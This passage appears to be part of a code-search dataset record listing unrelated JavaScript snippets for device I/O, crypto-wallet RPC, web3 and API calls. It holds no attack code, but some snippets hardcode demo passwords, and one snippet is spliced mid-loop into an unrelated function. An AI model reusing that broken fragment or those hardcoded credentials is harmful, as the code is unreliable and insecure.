audioData = request.response;\\n drummachineInst.audioContext.decodeAudioData(audioData, function(buffer)\\n {\\n callback(buffer,name);\\n });\\n };\\n request.send();\\n }\",\n \"function GetDeviceIP(){\\n showBackgroundImage('wait_message');\\n getContent('','/cgi-bin/setup.cgi?GetDeviceIP','function:ShowGetDeviceIP');\\n}\",\n \"function BYB_GetBalance() { \\n var bybrequest = {\\n \\\"id\\\" : \\\"BYB\\\",\\n \\\"name\\\" : \\\"Bybit\\\",\\n \\\"apikey\\\" : '•••••••••',\\n \\\"secret\\\" : '•••••••••',\\n \\\"command\\\" : \\\"/open-api/wallet/fund/records\\\",\\n // \\\"uri\\\" : \\\"https://api.bybit.com\\\",\\n \\\"uri\\\" : \\\"api-testnet.bybit.com\\\",\\n \\\"apiversion\\\" : \\\"/v1/\\\",\\n \\\"method\\\" : \\\"get\\\",\\n \\\"payload\\\" : \\\"\\\"\\n }; \\n\\n var response = BYB_PrivateRequest(bybrequest);\\n Logger.log( JSON.parse(UrlFetchApp.fetch(response.uri, response.params)) );\\n}\",\n \"function processDeviceCommand(request, response) {\\n\\t\\n\\tvar deviceIP = request.headers[\\\"tuyapi-ip\\\"]\\n\\tvar deviceID = request.headers[\\\"tuyapi-devid\\\"]\\n\\tvar localKey = request.headers[\\\"tuyapi-localkey\\\"]\\n\\tvar command = request.headers[\\\"tuyapi-command\\\"] \\n\\n\\t//var respMsg = \\\"deviceCommand sending to deviceID: \\\" + deviceID + \\\" Command: \\\" + command;\\n\\tvar respMsg = \\\"deviceCommand sending to IP: \\\" + deviceIP + \\\" Command: \\\" + command;\\n\\tconsole.log(respMsg);\\n\\n\\tvar device = new TuyaDevice({\\n\\t //ip: deviceIP,\\n\\t id: deviceID,\\n\\t key: localKey\\n\\t , issueGetOnConnect: false\\n\\t});\\n\\n\\tdevice.on('error', error => {\\n\\t\\tconsole.log('Error!', error);\\n\\t});\\n\\n\\t(async () => {\\n\\t\\tawait device.find();\\t \\n\\n\\t\\tawait device.connect();\\t \\n\\t\\tconsole.log('Connected to device!');\\n\\t\\tlet status = await device.get();\\t \\n\\t\\tconsole.log(`Current status: ${status}.`);\\t\\n\\t\\tswitch(command) {\\n\\t\\t\\tcase \\\"off\\\":\\t\\n\\t\\t\\t\\tconsole.log('Setting to false!');\\n\\t\\t\\t\\tawait device.set({set: false});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"on\\\":\\n\\t\\t\\t\\tconsole.log('Setting to true!');\\n\\t\\t\\t\\tawait device.set({set: true});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"status\\\":\\t\\n\\t\\t\\t\\tconsole.log('Received status request!');\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tstatus = await device.get(); \\t\\t \\n\\t\\tconsole.log(`New status: ${status}.`);\\t \\n\\t\\tdevice.disconnect();\\n\\n\\t\\ttry{\\n\\t\\t\\tconsole.log(\\\"Sending Status to SmartThings:\\\" +status);\\t\\n\\t\\t\\tresponse.setHeader(\\\"tuyapi-onoff\\\", status);\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", status);\\n\\t\\t\\tresponse.end();\\n\\t\\t\\tconsole.log(\\\"Status sent to SmartThings:\\\" +status);\\t\\n\\t\\t}catch (err){\\n\\t\\t\\tconsole.log(\\\"Error:\\\" +err);\\t\\n\\t\\t}\\n\\t})();\\t\\n}\",\n \"prepare() {\\n if (!navigator.bluetooth) {\\n this.log_.warn('Bluetooth Web support is not available!');\\n return;\\n } else if (this.prepared) {\\n return;\\n }\\n\\n this.log_.debug('Preparing Bluetooth LowEnergy support...');\\n this.devices_.prepare();\\n\\n this.prepared = true;\\n }\",\n \"function RadioController() {\\n\\n var TUNER = {'vendorId': 0x0bda, 'productId': 0x2838};\\n var SAMPLE_RATE = 2048000;\\n var BUFS_PER_SEC = 5;\\n var SAMPLES_PER_BUF = Math.floor(SAMPLE_RATE / BUFS_PER_SEC);\\n var NULL_FUNC = function(){};\\n var STATE = {\\n OFF: 0,\\n STARTING: 1,\\n PLAYING: 2,\\n STOPPING: 3,\\n CHG_FREQ: 4,\\n SCANNING: 5\\n };\\n var SUBSTATE = {\\n USB: 1,\\n TUNER: 2,\\n ALL_ON: 3,\\n TUNING: 4,\\n PLAYING: 5\\n };\\n\\n var decoder = new Worker('decode-worker.js');\\n var player = new Player();\\n var state = new State(STATE.OFF);\\n var requestingBlocks = 0;\\n var playingBlocks = 0;\\n var frequency = 88500000;\\n var stereo = true;\\n var stereoEnabled = true;\\n var errorHandler;\\n var tuner;\\n var connection;\\n var ui;\\n\\n /**\\n * Starts playing the radio.\\n * @param {Function=} opt_callback A function to call when the radio\\n * starts playing.\\n */\\n function start(opt_callback) {\\n if (state.state == STATE.OFF) {\\n state = new State(STATE.STARTING, SUBSTATE.USB, opt_callback);\\n chrome.permissions.request(\\n {'permissions': [{'usbDevices': [TUNER]}]},\\n function(res) {\\n if (!res) {\\n state = new State(STATE.OFF);\\n throwError('This app has no permission to access the USB ports.');\\n } else {\\n processState();\\n }\\n });\\n } else if (state.state == STATE.STOPPING || state.state == STATE.STARTING) {\\n state = new State(STATE.STARTING, state.substate, opt_callback);\\n }\\n }\\n\\n /**\\n * Stops playing the radio.\\n * @param {Function=} opt_callback A function to call after the radio\\n * stops playing.\\n */\\n function stop(opt_callback) {\\n if (state.state == STATE.OFF) {\\n opt_callback && opt_callback();\\n } else if (state.state == STATE.STARTING || state.state == STATE.STOPPING) {\\n state = new State(STATE.STOPPING, state.substate, opt_callback);\\n } else if (state.state != STATE.STOPPING) {\\n state = new State(STATE.STOPPING, SUBSTATE.ALL_ON, opt_callback);\\n }\\n }\\n\\n /**\\n * Tunes to another frequency.\\n * @param {number} freq The new frequency in Hz.\\n */\\n function setFrequency(freq) {\\n if (state.state == STATE.PLAYING || state.state == STATE.CHG_FREQ\\n || state.state == STATE.SCANNING) {\\n state = new State(STATE.CHG_FREQ, null, freq);\\n } else {\\n frequency = freq;\\n ui && ui.update();\\n }\\n }\\n\\n /**\\n * Returns the currently tuned frequency.\\n * @return {number} The current frequency in Hz.\\n */\\n function getFrequency() {\\n return frequency;\\n }\\n\\n /**\\n * Searches a given frequency band for a station, starting at the\\n * current frequency.\\n * @param {number} min The minimum frequency, in Hz.\\n * @param {number} max The maximum frequency, in Hz.\\n * @param {number} step The step between stations, in Hz. The step's sign\\n * determines the scanning direction.\\n */\\n function scan(min, max, step) {\\n if (state.state == STATE.PLAYING || state.state == STATE.SCANNING) {\\n var param = {\\n min: min,\\n max: max,\\n step: step,\\n start: frequency\\n };\\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\\n }\\n }\\n\\n /**\\n * Returns whether the radio is doing a frequency scan.\\n * @return {boolean} Whether the radio is doing a frequency scan.\\n */\\n function isScanning() {\\n return state.state == STATE.SCANNING;\\n }\\n\\n /**\\n * Returns whether the radio is currently playing.\\n * @param {boolean} Whether the radio is currently playing.\\n */\\n function isPlaying() {\\n return state.state != STATE.OFF && state.state != STATE.STOPPING;\\n }\\n\\n /**\\n * Returns whether the radio is currently stopping.\\n * @param {boolean} Whether the radio is currently stopping.\\n */\\n function isStopping() {\\n return state.state == STATE.STOPPING;\\n }\\n\\n /**\\n * Returns whether a stereo signal is being decoded.\\n * @param {boolean} Whether a stereo signal is being decoded.\\n */\\n function isStereo() {\\n return stereo;\\n }\\n\\n /**\\n * Enables or disables stereo decoding.\\n * @param {boolean} enable Whether stereo decoding should be enabled.\\n */\\n function enableStereo(enable) {\\n stereoEnabled = enable;\\n ui && ui.update();\\n }\\n\\n /**\\n * Returns whether stereo decoding is enabled.\\n * @return {boolean} Whether stereo decoding is enabled.\\n */\\n function isStereoEnabled() {\\n return stereoEnabled;\\n }\\n\\n /**\\n * Saves a reference to the current user interface controller.\\n * @param {Object} iface The controller. Must have an update() method.\\n */\\n function setInterface(iface) {\\n ui = iface;\\n }\\n\\n /**\\n * Sets a function to be called when there is an error.\\n * @param {Function} handler The function to call. Its only parameter\\n * is the error message.\\n */\\n function setOnError(handler) {\\n errorHandler = handler;\\n }\\n\\n /**\\n * Handles an error.\\n * @param {string} msg The error message.\\n */\\n function throwError(msg) {\\n if (errorHandler) {\\n errorHandler(msg);\\n } else {\\n throw msg;\\n }\\n }\\n\\n /**\\n * Starts the decoding pipeline.\\n */\\n function startPipeline() {\\n // In this way we read one block while we decode and play another.\\n if (state.state == STATE.PLAYING) {\\n processState();\\n }\\n processState();\\n }\\n\\n /**\\n * Performs the appropriate action according to the current state.\\n */\\n function processState() {\\n if (state.state == STATE.STARTING) {\\n if (state.substate == SUBSTATE.USB) {\\n state = new State(STATE.STARTING, SUBSTATE.TUNER, state.param);\\n chrome.usb.findDevices(TUNER,\\n function(conns) {\\n if (conns.length == 0) {\\n state = new State(STATE.OFF);\\n throwError('USB tuner device not found. The Radio Receiver ' +\\n 'app needs an RTL2832U-based DVB-T dongle ' +\\n '(with an R820T tuner chip) to work.');\\n } else {\\n connection = conns[0];\\n processState();\\n }\\n });\\n } else if (state.substate == SUBSTATE.TUNER) {\\n state = new State(STATE.STARTING, SUBSTATE.ALL_ON, state.param);\\n tuner = new RTL2832U(connection);\\n tuner.setOnError(throwError);\\n tuner.open(function() {\\n tuner.setSampleRate(SAMPLE_RATE, function(rate) {\\n tuner.setCenterFrequency(frequency, function() {\\n processState();\\n })})});\\n } else if (state.substate == SUBSTATE.ALL_ON) {\\n var cb = state.param;\\n state = new State(STATE.PLAYING);\\n tuner.resetBuffer(function() {\\n cb && cb();\\n ui && ui.update();\\n startPipeline();\\n });\\n }\\n } else if (state.state == STATE.PLAYING) {\\n ++requestingBlocks;\\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\\n --requestingBlocks;\\n if (state.state == STATE.PLAYING) {\\n if (playingBlocks <= 2) {\\n ++playingBlocks;\\n decoder.postMessage([data, stereoEnabled]);\\n }\\n }\\n processState();\\n });\\n } else if (state.state == STATE.CHG_FREQ) {\\n if (requestingBlocks > 0) {\\n return;\\n }\\n frequency = state.param;\\n ui && ui.update();\\n tuner.setCenterFrequency(frequency, function() {\\n tuner.resetBuffer(function() {\\n state = new State(STATE.PLAYING);\\n startPipeline();\\n })});\\n } else if (state.state == STATE.SCANNING) {\\n if (requestingBlocks > 0) {\\n return;\\n }\\n var param = state.param;\\n if (state.substate == SUBSTATE.TUNING) {\\n frequency += param.step;\\n if (frequency > param.max) {\\n frequency = param.min;\\n } else if (frequency < param.min) {\\n frequency = param.max;\\n }\\n ui && ui.update();\\n state = new State(STATE.SCANNING, SUBSTATE.PLAYING, param);\\n tuner.setCenterFrequency(frequency, function() {\\n tuner.resetBuffer(processState);\\n });\\n } else if (state.substate == SUBSTATE.PLAYING) {\\n if (frequency == param.start) {\\n state = new State(STATE.PLAYING);\\n startPipeline();\\n return;\\n }\\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\\n var scanData = {\\n 'scanning': true,\\n 'frequency': frequency\\n };\\n ++requestingBlocks;\\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\\n --requestingBlocks;\\n if (state.state == STATE.SCANNING) {\\n ++playingBlocks;\\n decoder.postMessage([data, stereoEnabled, scanData]);\\n }\\n processState();\\n });\\n }\\n } else if (state.state == STATE.STOPPING) {\\n if (state.substate == SUBSTATE.ALL_ON) {\\n if (requestingBlocks > 0) {\\n return;\\n }\\n state = new State(STATE.STOPPING, SUBSTATE.TUNER, state.param);\\n ui && ui.update();\\n tuner.close(function() {\\n processState();\\n });\\n } else if (state.substate == SUBSTATE.TUNER) {\\n state = new State(STATE.STOPPING, SUBSTATE.USB, state.param);\\n chrome.usb.closeDevice(connection, function() {\\n processState();\\n });\\n } else if (state.substate == SUBSTATE.USB) {\\n var cb = state.param;\\n state = new State(STATE.OFF);\\n cb && cb();\\n ui && ui.update();\\n }\\n }\\n }\\n\\n /**\\n * Receives the sound from the demodulator and plays it.\\n * @param {Event} msg The data sent by the demodulator.\\n */\\n decoder.onmessage = function(msg) {\\n --playingBlocks;\\n var newStereo = !!msg.data[1];\\n if (newStereo != stereo) {\\n stereo = newStereo;\\n ui && ui.update();\\n }\\n player.play(msg.data[0], msg.data[1]);\\n if (state.state == STATE.SCANNING && msg.data[2] && msg.data[2]['scanning']) {\\n if (overload(msg.data[0]) < 0.075) {\\n setFrequency(msg.data[2].frequency);\\n }\\n }\\n };\\n\\n /**\\n * Calculates the proportion of samples above maximum amplitude.\\n * @param {Samples} samples The audio stream.\\n * @param {number} The proportion of samples above the maximum amplitude.\\n */\\n function overload(samples) {\\n var count = 0;\\n for (var i = 0; i < samples.data.length; ++i) {\\n if (samples.data[i] > 1 || samples.data[i] < -1) {\\n ++count;\\n }\\n }\\n return count / samples.data.length;\\n }\\n\\n /**\\n * Constructs a state object.\\n * @param {number} state The state.\\n * @param {number=} opt_substate The sub-state.\\n * @param {*=} opt_param The state's parameter.\\n */\\n function State(state, opt_substate, opt_param) {\\n return {\\n state: state,\\n substate: opt_substate,\\n param: opt_param\\n };\\n }\\n\\n return {\\n start: start,\\n stop: stop,\\n setFrequency: setFrequency,\\n getFrequency: getFrequency,\\n scan: scan,\\n isScanning: isScanning,\\n isPlaying: isPlaying,\\n isStopping: isStopping,\\n isStereo: isStereo,\\n enableStereo: enableStereo,\\n isStereoEnabled: isStereoEnabled,\\n setInterface: setInterface,\\n setOnError: setOnError\\n };\\n}\",\n \"function FindAVRs()\\n{\\n var devs = usb.getDeviceList();\\n for (var i=0; i {\\n console.log('--writeLoginSetting successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginSetting failed ',error);\\n });\\n }\",\n \"function makeRequest(){\\n var mediaRequest = {\\n responseType: http$RESPONSETYPE_BINARY,\\n parser: CadmiumMediaStream$_parseHeaderBoxes,\\n url: _self.downloadUrls[cdn.id],\\n cdn: cdn,\\n track: track,\\n stream: _self,\\n offset: 0,\\n length: _actualHeaderSize || _estimateHeaderSize(contentProfile),\\n diagCaption: type + '-' + bitrate + '-hdr',\\n cacheBuster: true\\n };\\n playback.httpPlayback.download(mediaRequest, processResponse);\\n }\",\n \"async sendBinaryRequest(path, params) {\\n if (LibraryUtils.getLogLevel() >= 2) console.log(\\\"sendBinaryRequest(\\\" + path + \\\", \\\" + JSON.stringify(params) + \\\")\\\");\\n \\n // load wasm module\\n await LibraryUtils.loadKeysModule();\\n \\n // serialize params\\n let paramsBin = MoneroUtils.jsonToBinary(params);\\n \\n try {\\n \\n // send http request\\n let resp = await HttpClient.request({\\n method: \\\"POST\\\",\\n uri: this.getUri() + '/' + path,\\n username: this.getUsername(),\\n password: this.getPassword(),\\n body: paramsBin,\\n rejectUnauthorized: this.config.rejectUnauthorized,\\n requestApi: GenUtils.isFirefox() ? \\\"xhr\\\" : \\\"fetch\\\"\\n });\\n \\n // validate response\\n MoneroRpcConnection.validateHttpResponse(resp);\\n \\n // process response\\n resp = resp.body;\\n if (!(resp instanceof Uint8Array)) {\\n console.error(\\\"resp is not uint8array\\\");\\n console.error(resp);\\n }\\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\\n return resp;\\n } catch (err) {\\n if (err instanceof MoneroRpcError) throw err;\\n else throw new MoneroRpcError(err, undefined, path, params);\\n }\\n }\",\n \"async getData() {\\n\\t\\t//first we have to find out all the gateways we have to query\\n\\t\\tvar that = this;\\n\\t\\tlet web3 = new Web3(new Web3.providers.HttpProvider(\\\"https://rinkeby.infura.io\\\"));\\n\\t\\tlet mphr = new web3.eth.Contract(JSON.parse(mphrABI));\\n\\t\\tmphr.options.address = this.props.profile.mphr;\\n\\n\\t\\tmphr.methods.returnGateways().call({}, function (error, result) {\\n\\t\\t\\tif(error) { throw (error); }\\n\\t\\t\\tfor(var i = 0; i < result.length; i++) {\\n\\t\\t\\t\\tlet hex = result[i].toString();//force conversion\\n\\t\\t\\t\\tlet gateway = '';\\n\\t\\t\\t\\tfor (var j = 0; (j < hex.length && hex.substr(j, 2) !== '00'); j += 2) {\\n\\t\\t\\t\\t\\tgateway += String.fromCharCode(parseInt(hex.substr(j, 2), 16));\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tthat.request(gateway.slice(1), that.props.profile.id, \\\"all\\\");\\n\\t\\t\\t}\\n\\t\\t});\\n\\t}\",\n \"requestGetDeviceName() {\\n if (!this.connected) { return; }\\n this.writeMessage(MESSAGE_TYPE_GET_DEVICE_NAME, new Uint8Array(0));\\n }\",\n \"async WebGetBinaryStructures(url) {\\n var r = await this._BaseWebRequest(url, \\\"arraybuffer\\\", \\\"GET\\\", null);\\n var decoder = new DeltaBinaryStructuresDecoder(new DataView(r));\\n decoder.Decode();\\n return decoder;\\n }\",\n \"async function findDevice() {\\n const device = await liff.bluetooth.requestDevice().catch(e => {\\n flashSDKError(e);\\n onScreenLog(`ERROR on requestDevice: ${e}`);\\n throw e;\\n });\\n // onScreenLog('detect: ' + device.id);\\n\\n try {\\n if (!deviceUUIDSet.has(device.id)) {\\n deviceUUIDSet.add(device.id);\\n addDeviceToList(device);\\n } else {\\n // TODO: Maybe this is unofficial hack > device.rssi\\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\\n }\\n\\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\\n } catch (e) {\\n onScreenLog(`ERROR on findDevice: ${e}\\\\n${e.stack}`);\\n }\\n}\",\n \"async function upload( cmd_array, fastspeed = true){\\n let fullflag = false\\n \\n if(cmd_array.length>1){\\n fullflag = Boolean(parseInt(cmd_array[1]))\\n }\\n\\n if(fastspeed){\\n await blxConnectionFast()\\n if(blxErrMsg) return\\n }\\n\\n for(;;){ // Unlock Device (locked in FAST mode)\\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\\n if (blxErrMsg) break\\n\\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\\n }\\n \\n await calcMem(true) // With adjust\\n if(blxErrMsg) break\\n\\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\\n\\n if(blxUserCB) {\\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \\n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \\n }\\n \\n await updateFile('data.edt', fullflag)\\n if(blxErrMsg) break\\n\\n await updateFile('data.edt.old', fullflag)\\n //if(blxErrMsg) break // not needed\\n\\n break \\n } // for\\n\\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\\n await blxConnectionSlow()\\n }\\n }\",\n \"async function findDevice() {\\n const device = await liff.bluetooth.requestDevice().catch(e => {\\n flashSDKError(e);\\n onScreenLog(`ERROR on requestDevice: ${e}`);\\n throw e;\\n });\\n // onScreenLog('detect: ' + device.id);\\n\\n try {\\n if (!deviceUUIDSet.has(device.id)) {\\n deviceUUIDSet.add(device.id);\\n addDeviceToList(device);\\n } else {\\n // TODO: Maybe this is unofficial hack > device.rssi\\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\\n }\\n\\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\\n } catch (e) {\\n onScreenLog(`ERROR on findDevice: ${e}\\\\n${e.stack}`);\\n }\\n}\",\n \"function trackerRequest() {\\n const buff = Buffer.alloc(16);\\n buff.writeUInt32BE(0x417, 0);\\n buff.writeUInt32BE(0x27101980, 4);\\n buff.writeUInt32BE(0, 8);\\n crypto.randomBytes(4).copy(buff, 12);\\n return (buff);\\n}\",\n \"function calculateChallengeResponse(challenge, adminkey) {\\n var objAlg =\\n Windows.Security.Cryptography.Core.SymmetricKeyAlgorithmProvider\\n .openAlgorithm(\\n Windows.Security.Cryptography.Core.SymmetricAlgorithmNames\\n .tripleDesCbc);\\n\\n var symetricKey = objAlg.createSymmetricKey(adminkey);\\n var buffEncrypted =\\n Windows.Security.Cryptography.Core.CryptographicEngine.encrypt(\\n symetricKey,\\n challenge,\\n null);\\n\\n return buffEncrypted;\\n }\",\n \"function getConvolver () {\\n const ajax = new window.XMLHttpRequest()\\n\\n ajax.open('GET', convolverUrl, true)\\n\\n ajax.responseType = 'arraybuffer'\\n\\n ajax.onload = function () {\\n const audioData = ajax.response\\n\\n audioCtx.decodeAudioData(audioData, function (buffer) {\\n soundSource = audioCtx.createBufferSource()\\n convolver.buffer = buffer\\n }, function (e) { console.log('Error with decoding audio data' + e.err) })\\n\\n soundSource.connect(audioCtx.destination)\\n soundSource.loop = true\\n soundSource.start()\\n }\\n\\n ajax.send()\\n }\",\n \"function getdevicelist (dev, callback)\\n{\\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\\n {\\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-12';\\n webphone_api.plhandler.GetDeviceList(dev, callback);\\n }\\n}\",\n \"function Decoder(bytes, port) {\\n // Decode an uplink message from a buffer\\n // (array) of bytes to an object of fields.\\n var decoded = {};\\n\\n if (! (port === 3))\\n return null;\\n\\n // see catena-message-port3-format.md\\n // i is used as the index into the message. Start with the flag byte.\\n // note that there's no discriminator.\\n // test vectors are also available there.\\n var i = 0;\\n // fetch the bitmap.\\n var flags = bytes[i++];\\n\\n if (flags & 0x1) {\\n // set Vraw to a uint16, and increment pointer\\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n // interpret uint16 as an int16 instead.\\n if (Vraw & 0x8000)\\n Vraw += -0x10000;\\n // scale and save in result.\\n decoded.Vbat = Vraw / 4096.0;\\n }\\n\\n if (flags & 0x2) {\\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n if (Vraw & 0x8000)\\n Vraw += -0x10000;\\n decoded.VDD = Vraw / 4096.0;\\n }\\n\\n if (flags & 0x4) {\\n var iBoot = bytes[i];\\n i += 1;\\n decoded.boot = iBoot;\\n }\\n\\n if (flags & 0x8) {\\n // we have temp, pressure, RH\\n var tRaw = (bytes[i] << 8) + bytes[i + 1];\\n if (tRaw & 0x8000)\\n tRaw = -0x10000 + tRaw;\\n i += 2;\\n var rhRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n\\n decoded.t = tRaw / 256;\\n decoded.rh = rhRaw / 65535.0 * 100;\\n decoded.tDew = dewpoint(decoded.t, decoded.rh);\\n decoded.tHeatIndexC = CalculateHeatIndexCelsius(decoded.t, decoded.rh);\\n }\\n\\n if (flags & 0x10) {\\n // we have light irradiance info\\n var irradiance = {};\\n decoded.irradiance = irradiance;\\n\\n var lightRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n irradiance.IR = lightRaw;\\n\\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n irradiance.White = lightRaw;\\n\\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n irradiance.UV = lightRaw;\\n }\\n\\n if (flags & 0x20) {\\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n if (Vraw & 0x8000)\\n Vraw += -0x10000;\\n decoded.Vbus = Vraw / 4096.0;\\n }\\n\\n // at this point, decoded has the real values.\\n return decoded;\\n}\",\n \"function callAPI(req,res,handleResponse){\\n var host = 'www.blueworkslive.com';\\n var username = 'xxxx';\\n var password = 'yyyy';\\n var path = '/api/Auth';\\n var headers = {\\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\\n };\\n var options = {\\n host: host,\\n path: path,\\n method: 'GET',\\n headers: headers\\n };\\n var bwlResData = {};\\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\\n var bwlRequest = https.request(options, function(bwlResponse) {\\n\\tconsole.log(\\\"BwlApiCall: Response status=\\\"+bwlResponse.statusCode);\\n\\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\\n\\tbwlResData.headers = bwlResponse.headers;\\n\\tvar bufferData = [];\\n\\tbwlResponse.on('data', function(data) {\\n\\t bufferData.push(data);\\n console.info('BwlApiCall: Response data received');\\n\\t});\\n\\tbwlResponse.on('end', function() {\\n console.info('BwlApiCall: completed, calling callback');\\n\\t bwlResData.data = Buffer.concat(bufferData);\\n\\t handleResponse(req, res, bwlResData);\\n });\\n });\\n/* if ((reqData.method == \\\"post\\\" || reqData.method == \\\"put\\\") && reqData.senddata) {\\n console.log(reqData.method+' sending data: '+reqData.senddata);\\n bwlRequest.write(reqData.senddata);\\n } */\\n bwlRequest.end();\\n bwlRequest.on('error', function(e){\\n console.error('BwlApiCall: REQUEST-ERROR '+e);\\n });\\n}\",\n \"retrieveDevice(req, res) {\\n res.json({ message: \\\"Device\\\", data: req.device });\\n }\",\n \"getDeviceDescription(deviceId, callback, retryCounter) {\\n let ip;\\n if (!retryCounter) retryCounter = 0;\\n if (retryCounter > 2) {\\n return callback && callback(new Error('timeout on response'));\\n }\\n if (deviceId.includes('#')) {\\n if (!this.knownDevices[deviceId] || !this.knownDevices[deviceId].ip) {\\n return callback && callback('device unknown');\\n }\\n ip = this.knownDevices[deviceId].ip;\\n }\\n else ip = deviceId;\\n this.logger && this.logger('CoAP device description request for ' + deviceId + ' to ' + ip + '(' + retryCounter + ')');\\n let retryTimeout = null;\\n try {\\n const req = coap.request({\\n host: ip,\\n //port: 5683,\\n method: 'GET',\\n pathname: '/cit/d'\\n });\\n\\n retryTimeout = setTimeout(() => {\\n this.getDeviceDescription(deviceId, callback, ++retryCounter);\\n callback = null;\\n }, 2000);\\n req.on('response', (res) => {\\n clearTimeout(retryTimeout);\\n const options = {};\\n res.options.forEach((opt) => {\\n if (!options[opt.name]) {\\n options[opt.name] = opt.value;\\n }\\n else {\\n options[opt.name] += '/' + opt.value;\\n }\\n });\\n this.logger && this.logger('CoAP response: ' + JSON.stringify(options));\\n\\n const deviceId = this.initDevice(options, res.rsinfo);\\n if (!deviceId) return;\\n\\n let payload = res.payload.toString();\\n if (!payload.length) {\\n this.logger && this.logger('CoAP payload empty: ' + JSON.stringify(options));\\n return;\\n }\\n try {\\n\\n if (payload.indexOf('`') !== -1) {\\n this.logger && this.logger(payload);\\n payload = payload.substr(0, payload.lastIndexOf('`'));\\n this.logger && this.logger('CoAP payload cutted: ' + payload.indexOf('`'));\\n }\\n\\n payload = JSON.parse(payload);\\n }\\n catch (err) {\\n this.emit('error', err + ' (res) for JSON ' + payload);\\n return;\\n }\\n this.logger && this.logger('Device description received: ' + JSON.stringify(options) + ' / ' + JSON.stringify(payload));\\n if (req.rsinfo) {\\n this.knownDevices[deviceId].ip = req.rsinfo.address;\\n this.knownDevices[deviceId].port = req.rsinfo.port;\\n }\\n this.knownDevices[deviceId].description = payload;\\n callback && callback(null, deviceId, payload, this.knownDevices[deviceId].ip);\\n callback = null;\\n });\\n req.on('error', (error) => {\\n // console.log(error);\\n this.emit('error', error);\\n });\\n req.end();\\n }\\n catch (e) {\\n if (retryTimeout) clearTimeout(retryTimeout);\\n callback && callback(e);\\n callback = null;\\n }\\n }\",\n \"buildModemInterface() {\\n return new Promise((resolve, reject) => {\\n this.log(`starting modem interface on port ${this.uri} @ ${this.baud_rate}`);\\n let serial_port = new SerialPort(this.uri, {\\n baudRate: this.baud_rate\\n });\\n serial_port.on('open', () => {\\n resolve(serial_port);\\n });\\n serial_port.on('error', (err) => {\\n reject(err);\\n });\\n serial_port.on('data', (data) => {\\n // buffer the received data\\n this.response_buffer += data.toString();\\n // check if the response code exists in our buffered data\\n this.response_codes.forEach((code) => {\\n if (this.response_buffer.toUpperCase().indexOf(code) > -1) {\\n this.handleModemResponse({\\n data: this.response_buffer.replace(code, '').trim(), \\n code: code\\n });\\n this.response_buffer = '';\\n }\\n })\\n });\\n return serial_port;\\n });\\n }\",\n \"function send(data) {\\n\\n if(MODE == MODES.TEST) {\\n ws.send(data);\\n } else if(MODE == MODES.BLUETOOH) {\\n\\n var data = new Uint8Array(1);\\n data[0] = data;\\n\\n ble.write(id, serviceId, serviceName, data.buffer, function() {\\n console.log(\\\"ble -> sendSucess\\\");\\n }, function(err) {\\n console.log(\\\"ble -> sendFailure : \\\" + JSON.stringify(err));\\n });\\n\\n }\\n\\n}\",\n \"sendMakeBetShan2(_chipbet) {\\n cc.NGWlog(\\\"Vua dat cuoc =\\\" + _chipbet);\\n var data = {\\n evt: \\\"bm\\\",\\n M: _chipbet\\n };\\n this.sendDataGame(JSON.stringify(data));\\n }\",\n \"async function requestBlockchainInfo() {\\n return instance\\n .get(\\\"/tuichain/get_info/\\\")\\n .then((response) => {\\n return response.data;\\n })\\n .catch((error) => {\\n console.log(error);\\n return false;\\n });\\n}\",\n \"async function main(){\\n\\nvar password=\\\"pengshu\\\";\\n\\nvar oneBranchAccount=await web3.eth.personal.newAccount(password);\\nconsole.log(\\\"one branch\\\",oneBranchAccount);\\n\\n\\nlet unlock;\\n\\ntry{\\n unlock=await web3.eth.personal.unlockAccount(oneBranchAccount,password);}\\ncatch(e){}\\n console.log(\\\"one branch unlock\\\",unlock);\\n \\n\\nvar message=\\\"I am the flash\\\";\\nlet signature;\\ntry{\\n signature=await web3.eth.sign(message,oneBranchAccount);\\n}catch(e){}\\nconsole.log(\\\"signature one branch:\\\",signature);\\n\\nlet verfication;\\ntry {\\n verification= await web3.eth.personal.ecRecover(message,signature);\\n}catch(e){console.log(e);}\\nconsole.log(verfication);\\n}\",\n \"function expressGETBuffer(){\\r\\n GenerateRandom(currentBuffer);\\r\\n app.get('/api/buffer',(req,res) =>{\\r\\n res.json({\\r\\n arduino: currentBufferArduino,\\r\\n dummy: currentBuffer\\r\\n });\\r\\n });\\r\\n //console.log(\\\"2a. GET to Server\\\");\\r\\n}\"\n]"},"negative_scores":{"kind":"list 